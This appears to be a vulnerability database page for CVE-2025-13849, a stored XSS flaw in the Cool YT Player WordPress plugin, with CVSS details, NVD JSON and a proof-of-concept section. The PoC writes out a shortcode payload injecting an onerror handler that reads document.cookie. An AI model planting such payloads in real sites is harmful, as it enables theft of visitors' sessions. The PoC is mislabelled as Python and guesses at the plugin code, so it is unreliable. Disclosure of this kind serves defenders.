Security Vulnerability Report
中文
CVE-2025-13849 CVSS 6.4 MEDIUM

CVE-2025-13849

Published: 2026-01-07 12:16:51
Last Modified: 2026-04-15 00:35:42

Description

The Cool YT Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'videoid' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cool YT Player plugin <= 1.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13849 PoC - Stored XSS in Cool YT Player WordPress Plugin // Requires Contributor-level access or higher // Step 1: Identify the vulnerable parameter // The 'videoid' parameter in the shortcode is vulnerable // Step 2: Inject malicious JavaScript payload // Using the shortcode: [cool-yt-player videoid="XSS_PAYLOAD"] // Example PoC payload: const xssPayload = '" onerror="javascript:alert(document.cookie)" data-xss="'; // Step 3: Craft the malicious shortcode const maliciousShortcode = `[cool-yt-player videoid="${xssPayload}"]`; // Step 4: The payload will be stored and executed when page is accessed // Example of how the vulnerable code might process the input: // In youtube_video_wrapper.php: // echo '<iframe src="https://www.youtube.com/embed/' . $videoid . '"></iframe>'; // Without sanitization, the payload becomes: // <iframe src="https://www.youtube.com/embed/" onerror="javascript:alert(document.cookie)" data-xss=""></iframe>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13849", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.587", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cool YT Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'videoid' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Cool YT Player para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'videoid' en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cool-yt-player/tags/1.0/includes/youtube_video_wrapper.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cool-yt-player/trunk/includes/youtube_video_wrapper.php#L58", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/590bdf82-8006-4729-96e5-42b0d1552d19?source=cve", "source": "[email protected]"}]}}